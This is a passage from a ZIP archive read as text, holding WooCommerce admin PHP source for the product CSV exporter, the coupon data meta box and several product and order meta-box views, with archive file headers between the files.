	 */
	public function __construct() {
		if ( ! $this->export_allowed() ) {
			return;
		}

		add_action( 'admin_menu', array( $this, 'add_to_menus' ) );
		add_action( 'admin_head', array( $this, 'hide_from_menus' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) );
		add_action( 'admin_init', array( $this, 'download_export_file' ) );
		add_action( 'wp_ajax_woocommerce_do_ajax_product_export', array( $this, 'do_ajax_product_export' ) );

		// Register WooCommerce exporters.
		$this->exporters['product_exporter'] = array(
			'menu'       => 'edit.php?post_type=product',
			'name'       => __( 'Product Export', 'woocommerce' ),
			'capability' => 'export',
			'callback'   => array( $this, 'product_exporter' ),
		);
	}

	/**
	 * Return true if WooCommerce export is allowed for current user, false otherwise.
	 *
	 * @return bool Whether current user can perform export.
	 */
	protected function export_allowed() {
		return current_user_can( 'edit_products' ) && current_user_can( 'export' );
	}

	/**
	 * Add menu items for our custom exporters.
	 */
	public function add_to_menus() {
		foreach ( $this->exporters as $id => $exporter ) {
			add_submenu_page( $exporter['menu'], $exporter['name'], $exporter['name'], $exporter['capability'], $id, $exporter['callback'] );
		}
	}

	/**
	 * Hide menu items from view so the pages exist, but the menu items do not.
	 */
	public function hide_from_menus() {
		global $submenu;

		foreach ( $this->exporters as $id => $exporter ) {
			if ( isset( $submenu[ $exporter['menu'] ] ) ) {
				foreach ( $submenu[ $exporter['menu'] ] as $key => $menu ) {
					if ( $id === $menu[2] ) {
						unset( $submenu[ $exporter['menu'] ][ $key ] );
					}
				}
			}
		}
	}

	/**
	 * Enqueue scripts.
	 */
	public function admin_scripts() {
		$suffix  = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
		$version = Constants::get_constant( 'WC_VERSION' );
		wp_register_script( 'wc-product-export', WC()->plugin_url() . '/assets/js/admin/wc-product-export' . $suffix . '.js', array( 'jquery' ), $version );
		wp_localize_script(
			'wc-product-export',
			'wc_product_export_params',
			array(
				'export_nonce' => wp_create_nonce( 'wc-product-export' ),
			)
		);
	}

	/**
	 * Export page UI.
	 */
	public function product_exporter() {
		include_once WC_ABSPATH . 'includes/export/class-wc-product-csv-exporter.php';
		include_once dirname( __FILE__ ) . '/views/html-admin-page-product-export.php';
	}

	/**
	 * Serve the generated file.
	 */
	public function download_export_file() {
		if ( isset( $_GET['action'], $_GET['nonce'] ) && wp_verify_nonce( wp_unslash( $_GET['nonce'] ), 'product-csv' ) && 'download_product_csv' === wp_unslash( $_GET['action'] ) ) { // WPCS: input var ok, sanitization ok.
			include_once WC_ABSPATH . 'includes/export/class-wc-product-csv-exporter.php';
			$exporter = new WC_Product_CSV_Exporter();

			if ( ! empty( $_GET['filename'] ) ) { // WPCS: input var ok.
				$exporter->set_filename( wp_unslash( $_GET['filename'] ) ); // WPCS: input var ok, sanitization ok.
			}

			$exporter->export();
		}
	}

	/**
	 * AJAX callback for doing the actual export to the CSV file.
	 */
	public function do_ajax_product_export() {
		check_ajax_referer( 'wc-product-export', 'security' );

		if ( ! $this->export_allowed() ) {
			wp_send_json_error( array( 'message' => __( 'Insufficient privileges to export products.', 'woocommerce' ) ) );
		}

		include_once WC_ABSPATH . 'includes/export/class-wc-product-csv-exporter.php';

		$step     = isset( $_POST['step'] ) ? absint( $_POST['step'] ) : 1; // WPCS: input var ok, sanitization ok.
		$exporter = new WC_Product_CSV_Exporter();

		if ( ! empty( $_POST['columns'] ) ) { // WPCS: input var ok.
			$exporter->set_column_names( wp_unslash( $_POST['columns'] ) ); // WPCS: input var ok, sanitization ok.
		}

		if ( ! empty( $_POST['selected_columns'] ) ) { // WPCS: input var ok.
			$exporter->set_columns_to_export( wp_unslash( $_POST['selected_columns'] ) ); // WPCS: input var ok, sanitization ok.
		}

		if ( ! empty( $_POST['export_meta'] ) ) { // WPCS: input var ok.
			$exporter->enable_meta_export( true );
		}

		if ( ! empty( $_POST['export_types'] ) ) { // WPCS: input var ok.
			$exporter->set_product_types_to_export( wp_unslash( $_POST['export_types'] ) ); // WPCS: input var ok, sanitization ok.
		}

		if ( ! empty( $_POST['export_category'] ) && is_array( $_POST['export_category'] ) ) {// WPCS: input var ok.
			$exporter->set_product_category_to_export( wp_unslash( array_values( $_POST['export_category'] ) ) ); // WPCS: input var ok, sanitization ok.
		}

		if ( ! empty( $_POST['filename'] ) ) { // WPCS: input var ok.
			$exporter->set_filename( wp_unslash( $_POST['filename'] ) ); // WPCS: input var ok, sanitization ok.
		}

		$exporter->set_page( $step );
		$exporter->generate_file();

		$query_args = apply_filters(
			'woocommerce_export_get_ajax_query_args',
			array(
				'nonce'    => wp_create_nonce( 'product-csv' ),
				'action'   => 'download_product_csv',
				'filename' => $exporter->get_filename(),
			)
		);

		if ( 100 === $exporter->get_percent_complete() ) {
			wp_send_json_success(
				array(
					'step'       => 'done',
					'percentage' => 100,
					'url'        => add_query_arg( $query_args, admin_url( 'edit.php?post_type=product&page=product_exporter' ) ),
				)
			);
		} else {
			wp_send_json_success(
				array(
					'step'       => ++$step,
					'percentage' => $exporter->get_percent_complete(),
					'columns'    => $exporter->get_column_names(),
				)
			);
		}
	}

	/**
	 * Gets the product types that can be exported.
	 *
	 * @since 5.1.0
	 * @return array The product types keys and labels.
	 */
	public static function get_product_types() {
		$product_types = wc_get_product_types();
		$product_types['variation'] = __( 'Product variations', 'woocommerce' );

		/**
		 * Allow third-parties to filter the exportable product types.
		 *
		 * @since 5.1.0
		 * @param array $product_types {
		 *     The product type key and label.
		 *
		 *     @type string Product type key - eg 'variable', 'simple' etc.
		 *     @type string A translated product label which appears in the export product type dropdown.
		 * }
		 */
		return apply_filters( 'woocommerce_exporter_product_types', $product_types );
	}
}

new WC_Admin_Exporters();
PK�3\O2�AA,meta-boxes/class-wc-meta-box-coupon-data.phpnu�[���<?php
/**
 * Coupon Data
 *
 * Display the coupon data meta box.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Meta_Box_Coupon_Data Class.
 */
class WC_Meta_Box_Coupon_Data {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post
	 */
	public static function output( $post ) {
		wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' );

		$coupon_id = absint( $post->ID );
		$coupon    = new WC_Coupon( $coupon_id );

		?>

		<style type="text/css">
			#edit-slug-box, #minor-publishing-actions { display:none }
		</style>
		<div id="coupon_options" class="panel-wrap coupon_data">

			<div class="wc-tabs-back"></div>

			<ul class="coupon_data_tabs wc-tabs" style="display:none;">
				<?php
				$coupon_data_tabs = apply_filters(
					'woocommerce_coupon_data_tabs',
					array(
						'general'           => array(
							'label'  => __( 'General', 'woocommerce' ),
							'target' => 'general_coupon_data',
							'class'  => 'general_coupon_data',
						),
						'usage_restriction' => array(
							'label'  => __( 'Usage restriction', 'woocommerce' ),
							'target' => 'usage_restriction_coupon_data',
							'class'  => '',
						),
						'usage_limit'       => array(
							'label'  => __( 'Usage limits', 'woocommerce' ),
							'target' => 'usage_limit_coupon_data',
							'class'  => '',
						),
					)
				);

				foreach ( $coupon_data_tabs as $key => $tab ) :
					?>
					<li class="<?php echo $key; ?>_options <?php echo $key; ?>_tab <?php echo implode( ' ', (array) $tab['class'] ); ?>">
						<a href="#<?php echo $tab['target']; ?>">
							<span><?php echo esc_html( $tab['label'] ); ?></span>
						</a>
					</li>
				<?php endforeach; ?>
			</ul>
			<div id="general_coupon_data" class="panel woocommerce_options_panel">
				<?php

				// Type.
				woocommerce_wp_select(
					array(
						'id'      => 'discount_type',
						'label'   => __( 'Discount type', 'woocommerce' ),
						'options' => wc_get_coupon_types(),
						'value'   => $coupon->get_discount_type( 'edit' ),
					)
				);

				// Amount.
				woocommerce_wp_text_input(
					array(
						'id'          => 'coupon_amount',
						'label'       => __( 'Coupon amount', 'woocommerce' ),
						'placeholder' => wc_format_localized_price( 0 ),
						'description' => __( 'Value of the coupon.', 'woocommerce' ),
						'data_type'   => 'percent' === $coupon->get_discount_type( 'edit' ) ? 'decimal' : 'price',
						'desc_tip'    => true,
						'value'       => $coupon->get_amount( 'edit' ),
					)
				);

				// Free Shipping.
				if ( wc_shipping_enabled() ) {
					woocommerce_wp_checkbox(
						array(
							'id'          => 'free_shipping',
							'label'       => __( 'Allow free shipping', 'woocommerce' ),
							'description' => sprintf( __( 'Check this box if the coupon grants free shipping. A <a href="%s" target="_blank">free shipping method</a> must be enabled in your shipping zone and be set to require "a valid free shipping coupon" (see the "Free Shipping Requires" setting).', 'woocommerce' ), 'https://docs.woocommerce.com/document/free-shipping/' ),
							'value'       => wc_bool_to_string( $coupon->get_free_shipping( 'edit' ) ),
						)
					);
				}

				// Expiry date.
				$expiry_date = $coupon->get_date_expires( 'edit' ) ? $coupon->get_date_expires( 'edit' )->date( 'Y-m-d' ) : '';
				woocommerce_wp_text_input(
					array(
						'id'                => 'expiry_date',
						'value'             => esc_attr( $expiry_date ),
						'label'             => __( 'Coupon expiry date', 'woocommerce' ),
						'placeholder'       => 'YYYY-MM-DD',
						'description'       => __( 'The coupon will expire at 00:00:00 of this date.', 'woocommerce' ),
						'desc_tip'          => true,
						'class'             => 'date-picker',
						'custom_attributes' => array(
							'pattern' => apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ),
						),
					)
				);

				do_action( 'woocommerce_coupon_options', $coupon->get_id(), $coupon );

				?>
			</div>
			<div id="usage_restriction_coupon_data" class="panel woocommerce_options_panel">
				<?php

				echo '<div class="options_group">';

				// minimum spend.
				woocommerce_wp_text_input(
					array(
						'id'          => 'minimum_amount',
						'label'       => __( 'Minimum spend', 'woocommerce' ),
						'placeholder' => __( 'No minimum', 'woocommerce' ),
						'description' => __( 'This field allows you to set the minimum spend (subtotal) allowed to use the coupon.', 'woocommerce' ),
						'data_type'   => 'price',
						'desc_tip'    => true,
						'value'       => $coupon->get_minimum_amount( 'edit' ),
					)
				);

				// maximum spend.
				woocommerce_wp_text_input(
					array(
						'id'          => 'maximum_amount',
						'label'       => __( 'Maximum spend', 'woocommerce' ),
						'placeholder' => __( 'No maximum', 'woocommerce' ),
						'description' => __( 'This field allows you to set the maximum spend (subtotal) allowed when using the coupon.', 'woocommerce' ),
						'data_type'   => 'price',
						'desc_tip'    => true,
						'value'       => $coupon->get_maximum_amount( 'edit' ),
					)
				);

				// Individual use.
				woocommerce_wp_checkbox(
					array(
						'id'          => 'individual_use',
						'label'       => __( 'Individual use only', 'woocommerce' ),
						'description' => __( 'Check this box if the coupon cannot be used in conjunction with other coupons.', 'woocommerce' ),
						'value'       => wc_bool_to_string( $coupon->get_individual_use( 'edit' ) ),
					)
				);

				// Exclude Sale Products.
				woocommerce_wp_checkbox(
					array(
						'id'          => 'exclude_sale_items',
						'label'       => __( 'Exclude sale items', 'woocommerce' ),
						'description' => __( 'Check this box if the coupon should not apply to items on sale. Per-item coupons will only work if the item is not on sale. Per-cart coupons will only work if there are items in the cart that are not on sale.', 'woocommerce' ),
						'value'       => wc_bool_to_string( $coupon->get_exclude_sale_items( 'edit' ) ),
					)
				);

				echo '</div><div class="options_group">';

				// Product ids.
				?>
				<p class="form-field">
					<label><?php _e( 'Products', 'woocommerce' ); ?></label>
					<select class="wc-product-search" multiple="multiple" style="width: 50%;" name="product_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations">
						<?php
						$product_ids = $coupon->get_product_ids( 'edit' );

						foreach ( $product_ids as $product_id ) {
							$product = wc_get_product( $product_id );
							if ( is_object( $product ) ) {
								echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . esc_html( wp_strip_all_tags( $product->get_formatted_name() ) ) . '</option>';
							}
						}
						?>
					</select>
					<?php echo wc_help_tip( __( 'Products that the coupon will be applied to, or that need to be in the cart in order for the "Fixed cart discount" to be applied.', 'woocommerce' ) ); ?>
				</p>

				<?php // Exclude Product ids. ?>
				<p class="form-field">
					<label><?php _e( 'Exclude products', 'woocommerce' ); ?></label>
					<select class="wc-product-search" multiple="multiple" style="width: 50%;" name="exclude_product_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations">
						<?php
						$product_ids = $coupon->get_excluded_product_ids( 'edit' );

						foreach ( $product_ids as $product_id ) {
							$product = wc_get_product( $product_id );
							if ( is_object( $product ) ) {
								echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . esc_html( wp_strip_all_tags( $product->get_formatted_name() ) ) . '</option>';
							}
						}
						?>
					</select>
					<?php echo wc_help_tip( __( 'Products that the coupon will not be applied to, or that cannot be in the cart in order for the "Fixed cart discount" to be applied.', 'woocommerce' ) ); ?>
				</p>
				<?php

				echo '</div><div class="options_group">';

				// Categories.
				?>
				<p class="form-field">
					<label for="product_categories"><?php _e( 'Product categories', 'woocommerce' ); ?></label>
					<select id="product_categories" name="product_categories[]" style="width: 50%;"  class="wc-enhanced-select" multiple="multiple" data-placeholder="<?php esc_attr_e( 'Any category', 'woocommerce' ); ?>">
						<?php
						$category_ids = $coupon->get_product_categories( 'edit' );
						$categories   = get_terms( 'product_cat', 'orderby=name&hide_empty=0' );

						if ( $categories ) {
							foreach ( $categories as $cat ) {
								echo '<option value="' . esc_attr( $cat->term_id ) . '"' . wc_selected( $cat->term_id, $category_ids ) . '>' . esc_html( $cat->name ) . '</option>';
							}
						}
						?>
					</select> <?php echo wc_help_tip( __( 'Product categories that the coupon will be applied to, or that need to be in the cart in order for the "Fixed cart discount" to be applied.', 'woocommerce' ) ); ?>
				</p>

				<?php // Exclude Categories. ?>
				<p class="form-field">
					<label for="exclude_product_categories"><?php _e( 'Exclude categories', 'woocommerce' ); ?></label>
					<select id="exclude_product_categories" name="exclude_product_categories[]" style="width: 50%;"  class="wc-enhanced-select" multiple="multiple" data-placeholder="<?php esc_attr_e( 'No categories', 'woocommerce' ); ?>">
						<?php
						$category_ids = $coupon->get_excluded_product_categories( 'edit' );
						$categories   = get_terms( 'product_cat', 'orderby=name&hide_empty=0' );

						if ( $categories ) {
							foreach ( $categories as $cat ) {
								echo '<option value="' . esc_attr( $cat->term_id ) . '"' . wc_selected( $cat->term_id, $category_ids ) . '>' . esc_html( $cat->name ) . '</option>';
							}
						}
						?>
					</select>
					<?php echo wc_help_tip( __( 'Product categories that the coupon will not be applied to, or that cannot be in the cart in order for the "Fixed cart discount" to be applied.', 'woocommerce' ) ); ?>
				</p>
			</div>
			<div class="options_group">
				<?php
				// Customers.
				woocommerce_wp_text_input(
					array(
						'id'                => 'customer_email',
						'label'             => __( 'Allowed emails', 'woocommerce' ),
						'placeholder'       => __( 'No restrictions', 'woocommerce' ),
						'description'       => __( 'List of allowed billing emails to check against when an order is placed. Separate email addresses with commas. You can also use an asterisk (*) to match parts of an email. For example "*@gmail.com" would match all gmail addresses.', 'woocommerce' ),
						'value'             => implode( ', ', (array) $coupon->get_email_restrictions( 'edit' ) ),
						'desc_tip'          => true,
						'type'              => 'email',
						'class'             => '',
						'custom_attributes' => array(
							'multiple' => 'multiple',
						),
					)
				);
				?>
			</div>
			<?php do_action( 'woocommerce_coupon_options_usage_restriction', $coupon->get_id(), $coupon ); ?>
			</div>
			<div id="usage_limit_coupon_data" class="panel woocommerce_options_panel">
				<div class="options_group">
					<?php
					// Usage limit per coupons.
					woocommerce_wp_text_input(
						array(
							'id'                => 'usage_limit',
							'label'             => __( 'Usage limit per coupon', 'woocommerce' ),
							'placeholder'       => esc_attr__( 'Unlimited usage', 'woocommerce' ),
							'description'       => __( 'How many times this coupon can be used before it is void.', 'woocommerce' ),
							'type'              => 'number',
							'desc_tip'          => true,
							'class'             => 'short',
							'custom_attributes' => array(
								'step' => 1,
								'min'  => 0,
							),
							'value'             => $coupon->get_usage_limit( 'edit' ) ? $coupon->get_usage_limit( 'edit' ) : '',
						)
					);

					// Usage limit per product.
					woocommerce_wp_text_input(
						array(
							'id'                => 'limit_usage_to_x_items',
							'label'             => __( 'Limit usage to X items', 'woocommerce' ),
							'placeholder'       => esc_attr__( 'Apply to all qualifying items in cart', 'woocommerce' ),
							'description'       => __( 'The maximum number of individual items this coupon can apply to when using product discounts. Leave blank to apply to all qualifying items in cart.', 'woocommerce' ),
							'desc_tip'          => true,
							'class'             => 'short',
							'type'              => 'number',
							'custom_attributes' => array(
								'step' => 1,
								'min'  => 0,
							),
							'value'             => $coupon->get_limit_usage_to_x_items( 'edit' ) ? $coupon->get_limit_usage_to_x_items( 'edit' ) : '',
						)
					);

					// Usage limit per users.
					woocommerce_wp_text_input(
						array(
							'id'                => 'usage_limit_per_user',
							'label'             => __( 'Usage limit per user', 'woocommerce' ),
							'placeholder'       => esc_attr__( 'Unlimited usage', 'woocommerce' ),
							'description'       => __( 'How many times this coupon can be used by an individual user. Uses billing email for guests, and user ID for logged in users.', 'woocommerce' ),
							'desc_tip'          => true,
							'class'             => 'short',
							'type'              => 'number',
							'custom_attributes' => array(
								'step' => 1,
								'min'  => 0,
							),
							'value'             => $coupon->get_usage_limit_per_user( 'edit' ) ? $coupon->get_usage_limit_per_user( 'edit' ) : '',
						)
					);
					?>
				</div>
				<?php do_action( 'woocommerce_coupon_options_usage_limit', $coupon->get_id(), $coupon ); ?>
			</div>
			<?php do_action( 'woocommerce_coupon_data_panels', $coupon->get_id(), $coupon ); ?>
			<div class="clear"></div>
		</div>
		<?php
	}

	/**
	 * Save meta box data.
	 *
	 * @param int     $post_id
	 * @param WP_Post $post
	 */
	public static function save( $post_id, $post ) {
		// Check for dupe coupons.
		$coupon_code  = wc_format_coupon_code( $post->post_title );
		$id_from_code = wc_get_coupon_id_by_code( $coupon_code, $post_id );

		if ( $id_from_code ) {
			WC_Admin_Meta_Boxes::add_error( __( 'Coupon code already exists - customers will use the latest coupon with this code.', 'woocommerce' ) );
		}

		$product_categories         = isset( $_POST['product_categories'] ) ? (array) $_POST['product_categories'] : array();
		$exclude_product_categories = isset( $_POST['exclude_product_categories'] ) ? (array) $_POST['exclude_product_categories'] : array();

		$coupon = new WC_Coupon( $post_id );
		$coupon->set_props(
			array(
				'code'                        => $post->post_title,
				'discount_type'               => wc_clean( $_POST['discount_type'] ),
				'amount'                      => wc_format_decimal( $_POST['coupon_amount'] ),
				'date_expires'                => wc_clean( $_POST['expiry_date'] ),
				'individual_use'              => isset( $_POST['individual_use'] ),
				'product_ids'                 => isset( $_POST['product_ids'] ) ? array_filter( array_map( 'intval', (array) $_POST['product_ids'] ) ) : array(),
				'excluded_product_ids'        => isset( $_POST['exclude_product_ids'] ) ? array_filter( array_map( 'intval', (array) $_POST['exclude_product_ids'] ) ) : array(),
				'usage_limit'                 => absint( $_POST['usage_limit'] ),
				'usage_limit_per_user'        => absint( $_POST['usage_limit_per_user'] ),
				'limit_usage_to_x_items'      => absint( $_POST['limit_usage_to_x_items'] ),
				'free_shipping'               => isset( $_POST['free_shipping'] ),
				'product_categories'          => array_filter( array_map( 'intval', $product_categories ) ),
				'excluded_product_categories' => array_filter( array_map( 'intval', $exclude_product_categories ) ),
				'exclude_sale_items'          => isset( $_POST['exclude_sale_items'] ),
				'minimum_amount'              => wc_format_decimal( $_POST['minimum_amount'] ),
				'maximum_amount'              => wc_format_decimal( $_POST['maximum_amount'] ),
				'email_restrictions'          => array_filter( array_map( 'trim', explode( ',', wc_clean( $_POST['customer_email'] ) ) ) ),
			)
		);
		$coupon->save();
		do_action( 'woocommerce_coupon_options_save', $post_id, $coupon );
	}
}
PK�3\�WO.��+meta-boxes/views/html-product-attribute.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div data-taxonomy="<?php echo esc_attr( $attribute->get_taxonomy() ); ?>" class="woocommerce_attribute wc-metabox postbox closed <?php echo esc_attr( implode( ' ', $metabox_class ) ); ?>" rel="<?php echo esc_attr( $attribute->get_position() ); ?>">
	<h3>
		<a href="#" class="remove_row delete"><?php esc_html_e( 'Remove', 'woocommerce' ); ?></a>
		<div class="handlediv" title="<?php esc_attr_e( 'Click to toggle', 'woocommerce' ); ?>"></div>
		<div class="tips sort" data-tip="<?php esc_attr_e( 'Drag and drop to set admin attribute order', 'woocommerce' ); ?>"></div>			
		<strong class="attribute_name"><?php echo wc_attribute_label( $attribute->get_name() ); ?></strong>
	</h3>
	<div class="woocommerce_attribute_data wc-metabox-content hidden">
		<table cellpadding="0" cellspacing="0">
			<tbody>
				<tr>
					<td class="attribute_name">
						<label><?php esc_html_e( 'Name', 'woocommerce' ); ?>:</label>

						<?php if ( $attribute->is_taxonomy() ) : ?>
							<strong><?php echo wc_attribute_label( $attribute->get_name() ); ?></strong>
							<input type="hidden" name="attribute_names[<?php echo esc_attr( $i ); ?>]" value="<?php echo esc_attr( $attribute->get_name() ); ?>" />
						<?php else : ?>
							<input type="text" class="attribute_name" name="attribute_names[<?php echo esc_attr( $i ); ?>]" value="<?php echo esc_attr( $attribute->get_name() ); ?>" />
						<?php endif; ?>

						<input type="hidden" name="attribute_position[<?php echo esc_attr( $i ); ?>]" class="attribute_position" value="<?php echo esc_attr( $attribute->get_position() ); ?>" />
					</td>
					<td rowspan="3">
						<label><?php esc_html_e( 'Value(s)', 'woocommerce' ); ?>:</label>
						<?php
						if ( $attribute->is_taxonomy() && $attribute_taxonomy = $attribute->get_taxonomy_object() ) {
							$attribute_types = wc_get_attribute_types();

							if ( ! array_key_exists( $attribute_taxonomy->attribute_type, $attribute_types ) ) {
								$attribute_taxonomy->attribute_type = 'select';
							}

							if ( 'select' === $attribute_taxonomy->attribute_type ) {
								?>
								<select multiple="multiple" data-placeholder="<?php esc_attr_e( 'Select terms', 'woocommerce' ); ?>" class="multiselect attribute_values wc-enhanced-select" name="attribute_values[<?php echo esc_attr( $i ); ?>][]">
									<?php
									$args      = array(
										'orderby'    => ! empty( $attribute_taxonomy->attribute_orderby ) ? $attribute_taxonomy->attribute_orderby : 'name',
										'hide_empty' => 0,
									);
									$all_terms = get_terms( $attribute->get_taxonomy(), apply_filters( 'woocommerce_product_attribute_terms', $args ) );
									if ( $all_terms ) {
										foreach ( $all_terms as $term ) {
											$options = $attribute->get_options();
											$options = ! empty( $options ) ? $options : array();
											echo '<option value="' . esc_attr( $term->term_id ) . '"' . wc_selected( $term->term_id, $options ) . '>' . esc_html( apply_filters( 'woocommerce_product_attribute_term_name', $term->name, $term ) ) . '</option>';
										}
									}
									?>
								</select>
								<button class="button plus select_all_attributes"><?php esc_html_e( 'Select all', 'woocommerce' ); ?></button>
								<button class="button minus select_no_attributes"><?php esc_html_e( 'Select none', 'woocommerce' ); ?></button>
								<button class="button fr plus add_new_attribute"><?php esc_html_e( 'Add new', 'woocommerce' ); ?></button>
								<?php
							}

							do_action( 'woocommerce_product_option_terms', $attribute_taxonomy, $i, $attribute );
						} else {
							/* translators: %s: WC_DELIMITER */
							?>
							<textarea name="attribute_values[<?php echo esc_attr( $i ); ?>]" cols="5" rows="5" placeholder="<?php printf( esc_attr__( 'Enter some text, or some attributes by "%s" separating values.', 'woocommerce' ), WC_DELIMITER ); ?>"><?php echo esc_textarea( wc_implode_text_attributes( $attribute->get_options() ) ); ?></textarea>
							<?php
						}
						?>
					</td>
				</tr>
				<tr>
					<td>
						<label><input type="checkbox" class="checkbox" <?php checked( $attribute->get_visible(), true ); ?> name="attribute_visibility[<?php echo esc_attr( $i ); ?>]" value="1" /> <?php esc_html_e( 'Visible on the product page', 'woocommerce' ); ?></label>
					</td>
				</tr>
				<tr>
					<td>
						<div class="enable_variation show_if_variable">
							<label><input type="checkbox" class="checkbox" <?php checked( $attribute->get_variation(), true ); ?> name="attribute_variation[<?php echo esc_attr( $i ); ?>]" value="1" /> <?php esc_html_e( 'Used for variations', 'woocommerce' ); ?></label>
						</div>
					</td>
				</tr>
				<?php do_action( 'woocommerce_after_product_attribute_settings', $attribute, $i ); ?>
			</tbody>
		</table>
	</div>
</div>
PK�3\���		,meta-boxes/views/html-product-data-panel.phpnu�[���<?php
/**
 * Product data meta box.
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<div class="panel-wrap product_data">

	<span class="type_box hidden"> &mdash;
		<label for="product-type">
			<select id="product-type" name="product-type">
				<optgroup label="<?php esc_attr_e( 'Product Type', 'woocommerce' ); ?>">
				<?php foreach ( wc_get_product_types() as $value => $label ) : ?>
					<option value="<?php echo esc_attr( $value ); ?>" <?php echo selected( $product_object->get_type(), $value, false ); ?>><?php echo esc_html( $label ); ?></option>
				<?php endforeach; ?>
				</optgroup>
			</select>
		</label>

		<?php
		foreach ( self::get_product_type_options() as $key => $option ) :
			if ( metadata_exists( 'post', $post->ID, '_' . $key ) ) {
				$selected_value = is_callable( array( $product_object, "is_$key" ) ) ? $product_object->{"is_$key"}() : 'yes' === get_post_meta( $post->ID, '_' . $key, true );
			} else {
				$selected_value = 'yes' === ( isset( $option['default'] ) ? $option['default'] : 'no' );
			}
			?>
			<label for="<?php echo esc_attr( $option['id'] ); ?>" class="<?php echo esc_attr( $option['wrapper_class'] ); ?> tips" data-tip="<?php echo esc_attr( $option['description'] ); ?>">
				<?php echo esc_html( $option['label'] ); ?>:
				<input type="checkbox" name="<?php echo esc_attr( $option['id'] ); ?>" id="<?php echo esc_attr( $option['id'] ); ?>" <?php echo checked( $selected_value, true, false ); ?> />
			</label>
		<?php endforeach; ?>
	</span>

	<ul class="product_data_tabs wc-tabs">
		<?php foreach ( self::get_product_data_tabs() as $key => $tab ) : ?>
			<li class="<?php echo esc_attr( $key ); ?>_options <?php echo esc_attr( $key ); ?>_tab <?php echo esc_attr( isset( $tab['class'] ) ? implode( ' ', (array) $tab['class'] ) : '' ); ?>">
				<a href="#<?php echo esc_attr( $tab['target'] ); ?>"><span><?php echo esc_html( $tab['label'] ); ?></span></a>
			</li>
		<?php endforeach; ?>
		<?php do_action( 'woocommerce_product_write_panel_tabs' ); ?>
	</ul>

	<?php
		self::output_tabs();
		self::output_variations();
		do_action( 'woocommerce_product_data_panels' );
		wc_do_deprecated_action( 'woocommerce_product_write_panels', array(), '2.6', 'Use woocommerce_product_data_panels action instead.' );
	?>
	<div class="clear"></div>
</div>
PK�3\eh�3meta-boxes/views/html-order-download-permission.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="wc-metabox closed">
	<h3 class="fixed">
		<button type="button" data-permission_id="<?php echo esc_attr( $download->get_id() ); ?>" rel="<?php echo esc_attr( $download->get_product_id() ) . ',' . esc_attr( $download->get_download_id() ); ?>" class="revoke_access button"><?php esc_html_e( 'Revoke access', 'woocommerce' ); ?></button>
		<div class="handlediv" aria-label="<?php esc_attr_e( 'Click to toggle', 'woocommerce' ); ?>"></div>
		<strong>
			<?php
			printf(
				'#%s &mdash; %s &mdash; %s: %s &mdash; ',
				esc_html( $product->get_id() ),
				esc_html( apply_filters( 'woocommerce_admin_download_permissions_title', $product->get_name(), $download->get_product_id(), $download->get_order_id(), $download->get_order_key(), $download->get_download_id() ) ),
				esc_html( $file_count ),
				esc_html( wc_get_filename_from_url( $product->get_file_download_path( $download->get_download_id() ) ) )
			);
			printf( _n( 'Downloaded %s time', 'Downloaded %s times', $download->get_download_count(), 'woocommerce' ), esc_html( $download->get_download_count() ) )
			?>
		</strong>
	</h3>
	<table cellpadding="0" cellspacing="0" class="wc-metabox-content">
		<tbody>
			<tr>
				<td>
					<label><?php esc_html_e( 'Downloads remaining', 'woocommerce' ); ?></label>
					<input type="hidden" name="permission_id[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( $download->get_id() ); ?>" />
					<input type="number" step="1" min="0" class="short" name="downloads_remaining[<?php echo esc_attr( $loop ); ?>]" value="<?php echo esc_attr( $download->get_downloads_remaining() ); ?>" placeholder="<?php esc_attr_e( 'Unlimited', 'woocommerce' ); ?>" />
				</td>
				<td>
					<label><?php esc_html_e( 'Access expires', 'woocommerce' ); ?></label>
					<input type="text" class="short date-picker" name="access_expires[<?php echo esc_attr( $loop ); ?>]" value="<?php echo ! is_null( $download->get_access_expires() ) ? esc_attr( date_i18n( 'Y-m-d', $download->get_access_expires()->getTimestamp() ) ) : ''; ?>" maxlength="10" placeholder="<?php esc_attr_e( 'Never', 'woocommerce' ); ?>" pattern="<?php echo esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ); ?>" />
				</td>
				<td>
					<label><?php esc_html_e( 'Customer download link', 'woocommerce' ); ?></label>
					<?php
					$download_link = add_query_arg(
						array(
							'download_file' => $download->get_product_id(),
							'order'         => $download->get_order_key(),
							'email'         => urlencode( $download->get_user_email() ),
							'key'           => $download->get_download_id(),
						),
						trailingslashit( home_url() )
					);
					?>
					<a id="copy-download-link" class="button" href="<?php echo esc_url( $download_link ); ?>" data-tip="<?php esc_attr_e( 'Copied!', 'woocommerce' ); ?>" data-tip-failed="<?php esc_attr_e( 'Copying to clipboard failed. You should be able to right-click the button and copy.', 'woocommerce' ); ?>"><?php esc_html_e( 'Copy link', 'woocommerce' ); ?></a>
				</td>
				<td>
					<label><?php esc_html_e( 'Customer download log', 'woocommerce' ); ?></label>
					<?php
					$report_url = add_query_arg(
						'permission_id',
						rawurlencode( $download->get_id() ),
						admin_url( 'admin.php?page=wc-reports&tab=orders&report=downloads' )
					);
					echo '<a class="button" href="' . esc_url( $report_url ) . '">';
					esc_html_e( 'View report', 'woocommerce' );
					echo '</a>';
					?>
				</td>
